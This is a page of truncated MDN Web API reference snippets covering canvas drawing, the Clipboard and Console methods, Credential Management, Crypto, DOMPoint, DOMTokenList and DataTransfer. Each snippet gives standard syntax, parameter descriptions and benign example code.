condensing the text or by using a lower font size. this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it. use the filltext() method to fill the text characters rather than having just their outlines drawn. syntax canvasrenderingcontext2d.stroketext(text, x, y [, maxwidth]); parameters text a domstring specifying the text string to render into the context. the text is rendered using the settings specified by font, textalign, textbaseline, and direction. x the x-axis coordinate of the point at which to begin drawing the text. y the y-axis coordinate of the point at which to begin drawing the text. maxwidth optional the maximum width the text may be once rendered. if not specified, th...
CanvasRenderingContext2D - Web APIs
renderingcontext2d.drawwindow() renders a region of a window into the canvas. the contents of the window's viewport are rendered, ignoring viewport clipping and scrolling. canvasrenderingcontext2d.demote() this causes a context that is currently using a hardware-accelerated backend to fallback to a software one. all state should be preserved. internet explorer canvasrenderingcontext2d.msfillrule the fill rule to use. this must be one of evenodd or nonzero (default). specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d' in that specification. living standard ...
A basic ray-caster - Web APIs
family, but pretty decent considering it's a fully interpreted environment, and i didn't have to worry about memory allocation or video modes or coding inner routines in assembler or anything. the code does attempt to be very efficient, using array look-ups of pre-computed values, but i'm no optimization guru, so things could probably be written faster. also, it leaves a lot to be desired in terms of trying to be any sort of game engine—there are no wall textures, no sprites, no doors, not even any teleporters to get to another level. but i'm pretty confident all those things could be added given enough time. the canvas api supports pixel copying of images, so textures seem feasible. i'll leave that for another article, probably from another person. =) the ray-caster the nice people he...
Manipulating video using canvas - Web APIs
{ if (this.video.paused || this.video.ended) { return; } this.computeframe(); let self = this; settimeout(function() { self.timercallback(); }, 0); }, the first thing the callback does is check to see if the video is even playing; if it's not, the callback returns immediately without doing anything. then it calls the computeframe() method, which performs the chroma-keying effect on the current video frame. the last thing the callback does is call settimeout() to schedule itself to be called again as soon as possible. in the real world, you would probably schedule this to be done based on knowledge of the video's frame rate. manipulating the video frame data the computeframe() method, shown below, is responsible for actually fetching a frame o...
Pixel manipulation with canvas - Web APIs
2d'); ctx.drawimage(img, 0, 0); img.style.display = 'none'; var zoomctx = document.getelementbyid('zoom').getcontext('2d'); var smoothbtn = document.getelementbyid('smoothbtn'); var togglesmoothing = function(event) { zoomctx.imagesmoothingenabled = this.checked; zoomctx.mozimagesmoothingenabled = this.checked; zoomctx.webkitimagesmoothingenabled = this.checked; zoomctx.msimagesmoothingenabled = this.checked; }; smoothbtn.addeventlistener('change', togglesmoothing); var zoom = function(event) { var x = event.layerx; var y = event.layery; zoomctx.drawimage(canvas, math.min(math.max(0, x - 5), img.width - 10), math.min(math.max(0, y - 5), img.height - 10), 10, 10, ...
Transformations - Web APIs
var ctx = document.getelementbyid('canvas').getcontext('2d'); // draw a simple rectangle, but scale it. ctx.save(); ctx.scale(10, 3); ctx.fillrect(1, 10, 10, 10); ctx.restore(); // mirror horizontally ctx.scale(-1, 1); ctx.font = '48px serif'; ctx.filltext('mdn', -135, 120); } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample transforms finally, the following transformation methods allow modifications directly to the transformation matrix. transform(a, b, c, d, e, f) multiplies the current transformation matrix with the matrix described by its arguments. the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] if any of the arguments are infi...
Client.postMessage() - Web APIs
vent.waituntil(async function() { // exit early if we don't have access to the client. // eg, if it's cross-origin. if (!event.clientid) return; // get the client. const client = await clients.get(event.clientid); // exit early if we don't get the client. // eg, if it closed. if (!client) return; // send a message to the client. client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification. working draft in...
Clients.get() - Web APIs
Web › API › Clients › get
return value a promise that resolves to a client object or undefined. ...
Clipboard.readText() - Web APIs
the clipboard interface's readtext() method returns a promise which resolves with a copy of the textual contents of the system clipboard.. the "clipboard-read" permission of the permissions api must be granted before you can read data from the clipboard. syntax var promise = navigator.clipboard.readtext() parameters none. return value a promise that resolves with a domstring containing the textual contents of the clipboard. returns an empty string if the clipboard is empty, does not contain text, or does not include a textual representation among the datatransfer objects representing the clipboard's contents. to read non-text contents from the clipboard, use the read() method instead. you can write text to the clipboard using writetext(). example this example retrieves the textual ...
Clipboard.writeText() - Web APIs
ermissions api, is granted automatically to pages when they are in the active tab. note: browser support for the asynchronous clipboard apis is still in the process of being implemented. be sure to check the compatibility table as well as clipboard availability in clipboard for more information. syntax var promise = navigator.clipboard.writetext(newcliptext) parameters newcliptext the domstring to be written to the clipboard. return value a promise which is resolved once the clipboard's contents have been updated. the promise is rejected if the caller does not have permission to write to the clipboard. example this example sets the clipboard's contents to the string "<empty clipboard>". navigator.clipboard.writetext("<empty clipboard>").then(function() { /* clipboard su...
ClipboardEvent() - Web APIs
the clipboardevent() constructor returns a newly created clipboardevent, representing an event providing information related to modification of the clipboard, that is cut, copy, and paste events. syntax var clipboardevent = new clipboardevent(type[, options]); parameters the clipboardevent() constructor also inherits arguments from event(). type is a domstring representing the name of the type of the clipboardevent. it is case-sensitive and can be: 'copy', 'cut', or 'paste'. options optional options are as follows: clipboarddata: a datatransfer containing the data concerned by the clipboard event. datatype : a domstring containing the mime-type of the data contained in the data argument. data : a domstring containing the data concerned by the clipboard event. spec...
ClipboardItem - Web APIs
ipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method. then utilizing the clipboarditem.types property to set the gettype() argument and return the corresponding blob object. async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob ...
CloseEvent() - Web APIs
the closeevent() constructor creates a new closeevent. syntax var event = new closeevent(typearg, closeeventinit); values typearg is a domstring representing the name of the event. closeeventinit optional is a closeeventinit dictionary, having the following fields: "wasclean", optional and defaulting to false, of type long, indicates if the connection has been closed cleanly or not. "code", optional and defaulting to 0, of type unsigned short, that is the connection close code sent by the server. "reason", optional and defaulting to '', of type domstring, that is a human-readable reason why the server closed the connection. the closeeventinit dictionary also accepts fields from the eventinit dictionary. specifications specification status com...
CloseEvent.initCloseEvent() - Web APIs
sible types for mouse events include: click, mousedown, mouseup, mouseover, mousemove, mouseout. canbubble whether or not the event can bubble. sets the value of event.bubbles. cancelable whether or not the event's default action can be prevented. sets the value of event.cancelable. wasclean whether or not the connection was cleanly closed. reasoncode the reason of the close. reason a domstring describing the reason of the close in shuman-readable way. specifications this is no part of any specifications, though it was in some early drafts. ...
CloseEvent - Web APIs
e websocket standard. 2000–2999 reserved for use by websocket extensions. 3000–3999 available for use by libraries and frameworks. may not be used by applications. available for registration at the iana via first-come, first-serve. 4000–4999 available for use by applications. closeevent.reason read only returns a domstring indicating the reason the server closed the connection. this is specific to the particular server and sub-protocol. closeevent.wasclean read only returns a boolean that indicates whether or not the connection was cleanly closed. methods this interface also inherits methods from its parent, event. closeevent.initcloseevent() initializes the value of a closeevent created. if the ...
Comment() - Web APIs
Web › API › Comment › Comment
the comment() constructor returns a newly created comment object with the optional domstring given in parameter as its textual content. syntax comment1 = new comment(); // create an empty comment comment2 = new comment("this is a comment"); example var comment = new comment("test"); specifications specification status comment domthe definition of 'comment: comment' in that specification. living standard initial definition ...
CompositionEvent.CompositionEvent() - Web APIs
compositioneventinit optional a compositioneventinit dictionary object, which can contain the following members: data initializes the data attribute of the compositionevent object to the characters generated by the ime composition. note: the compositioneventinit dictionary inherits from the uieventinit dictionary, so can also accept members defined on there. ...
CompositionEvent.data - Web APIs
the data read-only property of the compositionevent interface returns the characters generated by the input method that raised the event; its exact nature varies depending on the type of event that generated the compositionevent object. syntax mydata = compositionevent.data value a domstring representing the event data: for compositionstart events, this is the currently selected text that will be replaced by the string being composed. this value doesn't change even if content changes the selection range; rather, it indicates the string that was selected when composition started. for compositionupdate, this is the string as it stands currently as editing is ongoing. for compositionend events, this is the string as committed to the editor. specifications specification ...
CompositionEvent.initCompositionEvent() - Web APIs
the initcompositionevent() method of the compositionevent interface initializes the attributes of a compositionevent object instance. syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg, viewarg, dataarg, localearg) parameters typearg a domstring representing the type of composition event; this will be one of compositionstart, compositionupdate, or compositionend. canbubblearg a boolean specifying whether or not the event can bubble. cancelablearg a boolean shether or not the event can be canceled. viewarg the window object from which the event was generated. dataarg a domstring representing the value of the data attribute. localearg a domstring representing the value of the locale attribute. return value void. specifications ...
CompositionEvent.locale - Web APIs
the locale read-only property of the compositionevent interface returns the locale of current input method (for example, the keyboard layout locale if the composition is associated with ime). syntax mylocale = compositionevent.locale value a domstring representing the locale of current input method. specifications specification status comment document object model (dom) level 3 events specification obsolete no longer in the spec, but still supported. ...
console.debug() - Web APIs
Web › API › Console › debug
the console method debug() outputs a message to the web console at the "debug" log level. the message is only displayed to the user if the console is configured to display debug output. note: this feature is available in web workers. syntax console.debug(obj1 [, obj2, ..., objn]); console.debug(msg [, subst1, ..., substn]); parameters obj1 ... objn a list of javascript objects to output. the string representations of each of these objects are appended together in the order listed and output to the console. msg a javascript string containing zero or more substitution strings, which are replaced with subst1 through substn in consecutive order. subst1 ... substn javascript objects with which to replace substitution strings within msg. this gives you additional control over the for...
Console.error() - Web APIs
Web › API › Console › error
outputs an error message to the web console. note: this feature is available in web workers. syntax console.error(obj1 [, obj2, ..., objn]); console.error(msg [, subst1, ..., substn]); console.exception(obj1 [, obj2, ..., objn]); console.exception(msg [, subst1, ..., substn]); note: console.exception() is an alias for console.error(); they are functionally identical. parameters obj1 ... objn a list of javascript objects to output. the string representations of each of these objects are appended together in the order listed and output. msg a javascript string containing zero or more substitution strings. subst1 ... substn javascript objects with which to replace substitution strings within msg. this gives you additional control over the format of the output. see outputting ...
Console.info() - Web APIs
Web › API › Console › info
the console.info() method outputs an informational message to the web console. in firefox, a small "i" icon is displayed next to these items in the web console's log. note: this feature is available in web workers. syntax console.info(obj1 [, obj2, ..., objn]); console.info(msg [, subst1, ..., substn]); parameters obj1 ... objn a list of javascript objects to output. the string representations of each of these objects are appended together in the order listed and output. msg a javascript string containing zero or more substitution strings. subst1 ... substn javascript objects with which to replace substitution strings within msg. this gives you additional control over the format of the output. see outputting text to the console in the documentation of console for details. sp...
Console.profileEnd() - Web APIs
see bug 1240249. the profileend method stops recording a profile previously started with console.profile(). you can optionally supply an argument to name the profile. doing so enables you to stop only that profile if you have multiple profiles being recorded. if console.profileend() is passed a profile name, and it matches the name of a profile being recorded, then that profile is stopped. ...
Console.table() - Web APIs
Web › API › Console › table
n array or an object. ...
Console.timeLog() - Web APIs
Web › API › Console › timeLog
logs the current value of a timer that was previously started by calling console.time() to the console. see timers in the documentation for details and examples. note: this feature is available in web workers. syntax console.timelog(label); parameters label the name of the timer to log to the console. return if no label parameter included: default: 1042ms if an existing label is included: timer name: 1242ms exceptions if there is no running timer, timelog() returns the warning: timer “default” doesn’t exist. if a label parameter is included, but there is no corresponding timer: timer “timer name” doesn’t exist. examples console.time("answer time"); alert("click to continue"); console.timelog("answer time"); alert("do a bunch of other stuff..."); console.
Console.warn() - Web APIs
Web › API › Console › warn
outputs a warning message to the web console. note: this feature is available in web workers.note: in chrome and firefox, warnings have a small exclamation point icon next to them in the web console log. syntax console.warn(obj1 [, obj2, ..., objn]); console.warn(msg [, subst1, ..., substn]); parameters obj1 ... objn a list of javascript objects to output. the string representations of each of these objects are appended together in the order listed and output. msg a javascript string containing zero or more substitution strings. subst1 ... substn javascript objects with which to replace substitution strings within msg. this gives you additional control over the format of the output. see outputting text to the console in the documentation of console for details. specification...
ConstrainBoolean - Web APIs
the other value if it needs to in order to come up with a workable configuration. you can also specify the value of the property as simply true or false, in which case the user agent will use that value if possible once all efforts have been made to match the exact and ideal values for other properties. specifications specification status comment media capture and streamsthe definition of 'constrainboolean' in that specification. candidate recommendation initial definition technically, constrainboolean is actually based on an intermediary dictionary named constrainbooleanparameters, which adds exact and ideal to the simple boolean type. however, for the sake of documentation clarity, the intermediate type (present only because of quirks in webidl syn...
ConstrainDouble - Web APIs
xact a double-precision floating-point number specifying a specific, required, value the property must have to be considered acceptable. ideal a double-precision floating-point number specifying a value the property would ideally have, but which can be considered optional if necessary to find a match. specifications specification status comment media capture and streamsthe definition of 'constraindouble' in that specification. candidate recommendation initial definition technically, constraindouble is actually based on an intermediary dictionary named constraindoublerange, which adds exact and ideal to doublerange, with constraindouble being a type that can be either a long integer or a doublerange. however, for the sake of documentation clarity, t...
ConstrainULong - Web APIs
in addition to the properties it inherits from ulongrange. exact an integer specifying precise, required, value the property must have to be considered acceptable. ideal an integer specifying a value the property would ideally have, but which can be considered optional if necessary to find a match. specifications specification status comment media capture and streamsthe definition of 'constrainulong' in that specification. candidate recommendation initial definition technically, constrainulong is actually based on an intermediary dictionary named constrainulongrange, which adds exact and ideal to ulongrange, with constrainulong being a type that can be either a long integer or a ulongrange. however, for the sake of documentation clarity, the int...
ContentIndexEvent() - Web APIs
for contentindexevent, this is always delete. eventinitdict optional an options object containing any initialization data you want to populate the contentindexevent object with. ...
ConvolverNode - Web APIs
a convolvernode always has exactly one input and one output. note: for more information on the theory behind linear convolution, see the convolution article on wikipedia. number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 1, 2, or 4 channel interpretation "speakers" constructor convolvernode() creates a new convolvernode object instance. properties inherits properties from its parent, audionode. ...
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
one. examples const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ... }, close() { ... }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy()' in that specification. living standard initial definition. ...
CountQueuingStrategy.size() - Web APIs
1. examples const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ... }, close() { ... }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'size' in that specification. living standard initial definition. ...
Credential.id - Web APIs
Web › API › Credential › id
the id property of the credential interface returns a domstring containing the credential's identifier. this might be any one of a guid, username, or email address. syntax var id = credential.id; value a a domstring containing the credential's identifier. specifications specification status comment credential management level 1 working draft initial definition. ...
Credential.name - Web APIs
Web › API › Credential › name
the name property of the credential interface returns a domstring, containing the name associated with a credential. it should be a human-readable, public name. syntax var credname = credential.name; value a domstring containing the credential's given name. example // tbd specifications specification status comment credential management level 1 working draft initial definition. ...
Credential.type - Web APIs
Web › API › Credential › type
the type property of the credential interface returns a domstring containing the credential's type. valid values are password, federated and public-key. syntax var credtype = credential.type; value a domstring contains a credential's given name. example // tbd specifications specification status comment credential management level 1 working draft initial definition. ...
Credential Management API - Web APIs
session. credential management concepts and usage this api lets websites interact with a user agent’s password system so that websites can deal in a uniform way with site credentials and user agents can provide better assistance with the management of their credentials. for example, user agents have a particularly hard time dealing with federated identity providers or esoteric sign-in mechanisms that use more than just a username and password. to address these problems, the credential management api provides ways for a website to store and retrieve different types of credentials. this give users capabilities such as seeing the federated account they used to sign on to a site, or resuming a session without the explicit sign-in flow of an expired session. this api is restricted to top-le...
CredentialsContainer.get() - Web APIs
to have, and options for interacting with the user. it can contain the following properties: password: a boolean indicating that returned credential instances should include user (as opposed to federated) credentials. federated: a federatedcredentialrequestoptions object containing requirements for returned federated credentials. the available options are: providers: an array of domstring instances of identity providers to search for. protocols an array of domstring instances of federation protocols to search for. publickey: an publickeycredentialrequestoptions object containing requirements for returned webauthn credentials. mediation: a string indicating whether the user will be required to log on for every visit to the website. valid values are "silent", "o...
CredentialsContainer - Web APIs
notify the user agent when events such as successful sign in or sign out happen. this interface is accessible from navigator.credentials. properties none. event handlers none. methods credentialscontainer.create()secure context returns a promise that resolves with a new credential instance based on the provided options, or null if no credential object can be created. in exceptional circumstances, the promise may reject. credentialscontainer.get()secure context returns a promise that resolves with the credential instance that matches the provided parameters. credentialscontainer.preventsilentaccess()secure context sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise. for example, you might call this...
Crypto - Web APIs
Web › API › Crypto
pto interface represents basic cryptography features available in the current context. it allows access to a cryptographically strong random number generator and to cryptographic primitives. note: this feature is available in web workers. the web crypto api is accessed through the window.crypto property, which is a crypto object. properties this interface implements properties defined on randomsource. crypto.subtle read only secure context returns a subtlecrypto object providing access to common cryptographic primitives, like hashing, signing, encryption, or decryption. methods this interface implements methods defined on randomsource. crypto.getrandomvalues() fills the passed typedarray with cryptographically sound random values. usage notes you should avoid using the web...
CryptoKey - Web APIs
Web › API › CryptoKey
whether or not the key may be extracted using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). true: the key may be extracted. false the key may not be extracted. exportkey() or wrapkey() will throw an exception if used to extract this key. cryptokey.algorithm an object describing the algorithm for which this key can be used and any associated extra parameters. aeskeygenparams if the algorithm is any of the aes variants. rsahashedkeygenparams if the algorithm is any of the rsa variants. eckeygenparams if the algorithm is any of the ec variants. hmackeygenparams if the algorithm is hmac. cryptokey.usages an array of strings, indicating what can be done with the key. possible values for array elements are: "encrypt": the key may be used to e...
CustomEvent() - Web APIs
customeventinit optional a customeventinit dictionary, having the following fields: "detail", optional and defaulting to null, of type any, that is an event-dependent value associated with the event. the customeventinit dictionary also accepts fields from the eventinit dictionary. ...
CustomEvent.initCustomEvent() - Web APIs
(). once dispatched, it doesn't do anything anymore. do not use this method anymore, as it is deprecated. note: rather than using the feature, instead use specific event constructors, like customevent(). the page on creating and triggering events gives more information about the way to use those. syntax event.initcustomevent(type, canbubble, cancelable, detail); parameters type is a domstring containing the name of the event. canbubble is a boolean indicating whether the event bubbles up through the dom or not. cancelable is a boolean indicating whether the event is cancelable. detail the data passed when initializing the event. specifications specification status comment domthe definition of 'customevent' in that specification. living stan...
DOMConfiguration - Web APIs
orm", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguration ...
DOMError - Web APIs
Web › API › DOMError
error types type description indexsizeerror the index is not in the allowed range (e.g. thrown in a range object). hierarchyrequesterror the node tree hierarchy is not correct. wrongdocumenterror the object is in the wrong document. ...
DOMException.name - Web APIs
Web › API › DOMException › name
the name read-only property of the domexception interface returns a domstring that contains one of the strings associated with an error name. syntax var domexceptionname = domexceptioninstance.name; value a domstring. specifications specification status comment web idlthe definition of 'name' in that specification. candidate recommendation ...
DOMException - Web APIs
omexception() returns a domexception object with a specified message and name. properties domexception.code read only returns a short that contains one of the error code constants, or 0 if none match. this field is used for historical reasons. new dom exceptions don't use this anymore: they put this info in the domexception.name attribute. domexception.message read only returns a domstring representing a message or description associated with the given error name. domexception.name read only returns a domstring that contains one of the strings associated with an error name. error names common error names are listed here. some apis define their own sets of names, so this is not necessarily a complete list. note: because historically the errors were identified by a numer...
DOMImplementation.createDocument() - Web APIs
the domimplementation.createdocument() method creates and returns an xmldocument. syntax var doc = document.implementation.createdocument(namespaceuri, qualifiednamestr, documenttype); parameters namespaceuri is a domstring containing the namespace uri of the document to be created, or null if the document doesn't belong to one. qualifiednamestr is a domstring containing the qualified name, that is an optional prefix and colon plus the local root element name, of the document to be created. documenttype optional is the documenttype of the document to be created. it defaults to null. example var doc = document.implementation.createdocument ('http://www.w3.org/1999/xhtml', 'html', null); var body = document.createelementns('http://www.w3.org/1999/xhtml', 'body'); bo...
DOMImplementation.createDocumentType() - Web APIs
domimplementation.createdocumenttype() method returns a documenttype object which can either be used with domimplementation.createdocument upon document creation or can be put into the document via methods like node.insertbefore() or node.replacechild(). syntax var doctype = document.implementation.createdocumenttype(qualifiednamestr, publicid, systemid); parameters qualifiednamestr is a domstring containing the qualified name, like svg:svg. publicid is a domstring containing the public identifier. systemid is a domstring containing the system identifiers. example var dt = document.implementation.createdocumenttype('svg:svg', '-//w3c//dtd svg 1.1//en', 'http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd'); var d = document.implementation.createdocument('http://www.w3.org/20...
DOMImplementation.createHTMLDocument() - Web APIs
example this example creates a new html document and inserts it into an <iframe> in the current document. ...
DOMImplementation.hasFeature() - Web APIs
is supported. it is deprecated and modern browsers return true in all cases. the different implementations fairly diverged in what kind of features were reported. the latest version of the spec settled to force this method to always return true, where the functionality was accurate and in use. syntax const flag = document.implementation.hasfeature(feature, version); parameters feature a domstring representing the feature name. version a domstring representing the version of the specification defining the feature. specifications specification status comment domthe definition of 'domimplementation.hasfeature' in that specification. living standard modified to always return true except for svg features. document object model (dom) level 3 ...
DOMParser() - Web APIs
...
DOMPoint.x - Web APIs
Web › API › DOMPoint › x
syntax var xpos = dompoint.x; value a double-precision floating-point value indicating the x coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). ...
DOMPoint.y - Web APIs
Web › API › DOMPoint › y
syntax var ypos = dompoint.y; value a double-precision floating-point value indicating the y coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). ...
DOMPoint.z - Web APIs
Web › API › DOMPoint › z
syntax var zpos = dompoint.z; value a double-precision floating-point value indicating the z coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). ...
DOMPointInit.x - Web APIs
Web › API › DOMPointInit › x
the dompointinit dictionary's x property is used to specify the x component of a point in 2d or 3d space when either creating or serializing a dompoint or dompointreadonly. in general, positive values x mean to the right, and negative values of x means to the left, assuming that transforms have not altered the orientation of the axes. syntax var dompointinit = { x: xpos }; dompointinit.x = xpos; var xpos = dompointinit.x; value a double-precision floating-point value indicating the point's x coordinate. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). if this property is missing when the dompointinit object is passed into frompoint(), the value is assumed to be 0 by default. dompointinit is used as an ...
DOMPointInit.y - Web APIs
Web › API › DOMPointInit › y
the dompointinit dictionary's y property is used to specify the y-coordinate of a point in 2d or 3d space when either creating or serializing to json a dompoint or dompointreadonly object. in general, the value of y increases to the right and decreases to the left, becoming negative to the left of the origin. this may change if transforms have been applied causing the axes' orientation to change. syntax var dompointinit = { y: ypos }; dompointinit.y = ypos; var ypos = dompointinit.y; value a double-precision floating-point value indicating the point's y-coordinate. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). if this property is missing when the dompointinit object is passed into frompoint(), the va...
DOMPointInit.z - Web APIs
Web › API › DOMPointInit › z
or 3d space when either creating or serializing to json a dompoint or dompointreadonly object. typically, a z value of 0 represents the plane of the screen. as the value increases, the point moves outward from the screen toward the user. as the value decreases, the point moves farther from the user, with negative values being behind the screen, receding into the distance. of course, if transforms have been applied, the axes may have changed orientation. syntax var dompointinit = { z: zpos }; dompointinit.z = zpos; var zpos = dompointinit.z; value a double-precision floating-point value indicating the point's z-coordinate. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). there are two methods which use ...
DOMPointInit - Web APIs
es dompointinit.x an unrestricted floating-point value indicating the x-coordinate of the point in space. this is generally the horizontal coordinate, with positive values being to the right and negative values to the left. the default value is 0. dompointinit.y an unrestricted floating-point number providing the point's y-coordinate. this is the vertical coordinate, and barring any transforms applied to the coordinate system, positive values are downward and negative values upward toward the top of the screen. the default is 0. dompointinit.z an unrestricted floating-point value which gives the point's z-coordinate, which is (assuming no transformations that alter the situation) the depth coordinate; positive values are closer to the user and negative values retreat back into the sc...
DOMPointReadOnly.x - Web APIs
the dompointreadonly interface's x property holds the horizontal coordinate, x, for a read-only point in space. this property cannot be changed by javascript code in this read-only version of the dompoint object. in general, positive values x mean to the right, and negative values of x means to the left, assuming no transforms have resulted in a reversal. syntax const xpos = somedompointreadonly.x; value a double-precision floating-point value indicating the x coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). specifications specification status comment geometry interfaces module level 1the definition of 'x' in that specification. candidate rec...
DOMPointReadOnly.y - Web APIs
the dompointreadonly interface's y property holds the vertical coordinate, y, for a read-only point in space. if your script needs to be able to change the value of this property, you should instead use the dompoint object. in general, positive values of y mean downward, and negative values of y mean upward, assuming no transforms have resulted in a reversal. syntax const ypos = somedompointreadonly.y; value a double-precision floating-point value indicating the y coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). specifications specification status comment geometry interfaces module level 1the definition of 'y' in that specification. candidate...
DOMPointReadOnly.z - Web APIs
the dompointreadonly interface's z property holds the depth coordinate, z, for a read-only point in space. if your script needs to be able to change the value of this property, you should instead use the dompoint object. in general, positive values of z mean toward the user (out from the screen), and negative values of z mean away from the user (into the screen), assuming no transforms have resulted in a reversal. syntax const zpos = somedompointreadonly.z; value a double-precision floating-point value indicating the z coordinate's value for the point. this value is unrestricted, meaning that it is allowed to be infinite or invalid (that is, its value may be nan or ±infinity). specifications specification status comment geometry interfaces module level 1t...
DOMQuad - Web APIs
Web › API › DOMQuad
it has a handy bounds attribute returning a domrectreadonly for those cases where you just want an axis-aligned bounding rectangle. constructor domquad.domquad() creates a new domquad object. properties p1,p2,p3,p4 read only are dompoint objects for each of the domquad object's four corners. ...
DOMTokenList.add() - Web APIs
Web › API › DOMTokenList › add
return value undefined examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we then add a new token to the list, and write the list into the <span>'s node.textcontent. ...
DOMTokenList.contains() - Web APIs
return value a boolean, which is true if the calling list contains token, otherwise false. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. ...
DOMTokenList.entries() - Web APIs
syntax tokenlist.entries(); return value returns an iterator. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we when retrieve an iterator containing the key/value pairs using entries(), then iterate through each one using a for...of loop, writing them to the <span>'s node.textcontent. ...
DOMTokenList.item() - Web APIs
Web › API › DOMTokenList › item
it returns null if the number is greater than or equal to the length of the list. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we then retrieve the last item in the list using item(tokenlist.length - 1), and write it into the <span>'s node.textcontent. ...
DOMTokenList.remove() - Web APIs
if the string is not in the list, no error is thrown, and nothing happens. return value undefined examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we then remove a token from the list, and write the list into the <span>'s node.textcontent. ...
DOMTokenList.replace() - Web APIs
the replace() method of the domtokenlist interface replaces an existing token with a new token. if the first token doesn't exist, replace() returns false immediately, without adding the new token to the token list. syntax tokenlist.replace(oldtoken, newtoken); parameters oldtoken a domstring representing the token you want to replace. newtoken a domstring representing the token you want to replace oldtoken with. return value a boolean value, which is true if oldtoken was successfully replaced, or false if not. note: in older browsers, replace() returns void. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we then replace a token in the list, and write the list into the <span>'s node.textcon...
DOMTokenList.supports() - Web APIs
returns a boolean indicating whether the token was found. ...
DOMTokenList.toggle() - Web APIs
force optional a boolean that, if included, turns the toggle into a one way-only operation. if set to false, then token will only be removed, but not added. if set to true, then token will only be added, but not removed. ...
DOMTokenList.value - Web APIs
the value property of the domtokenlist interface is a stringifier that returns the value of the list as a domstring, or clears and sets the list to the given value. syntax tokenlist.value; value a domstring examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist, then write the value of the list to the <span>'s node.textcontent. first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.textcontent = classes.value; the output looks like this: specifications specification status comment domthe definition of 'value' in that specification. living standard initial definition ...
DOMTokenList.values() - Web APIs
syntax tokenlist.values(); parameters none. return value returns an iterator. examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist. we when retrieve an iterator containing the values using values(), then iterate through those values using a for ... of loop, writing each one to the <span>'s node.textcontent. ...
DOMTokenList - Web APIs
.rellist, htmlareaelement.rellist, htmliframeelement.sandbox, or htmloutputelement.htmlfor. it is indexed beginning with 0 as with javascript array objects. domtokenlist is always case-sensitive. properties domtokenlist.length read only is an integer representing the number of objects stored in the object. domtokenlist.value a stringifier property that returns the value of the list as a domstring. methods domtokenlist.item(index) returns the item in the list by its index, or undefined if index is greater than or equal to the list's length. domtokenlist.contains(token) returns true if the list contains the given token, otherwise false. domtokenlist.add(token1[, token2[, ...tokenn]]) adds the specified token(s) to the list. domtokenlist.remove(token1[, token2[, ...tokenn]]) ...
DataTransfer.dropEffect - Web APIs
than the action that the user is requesting. for the drop and dragend events, dropeffect will be set to the action that was desired, which will be the value dropeffect had after the last dragenter or dragover event. in a dragend event, for instance, if the desired dropeffect is "move", then the data being dragged should be removed from the source. syntax datatransfer.dropeffect; values a domstring representing the drag operation effect. the possible values are: copy a copy of the source item is made at the new location. move an item is moved to a new location. link a link is established to the source at the new location. none the item may not be dropped. assigning any other value to dropeffect has no effect and the old value is retained. example this example shows the us...
DataTransfer.effectAllowed - Web APIs
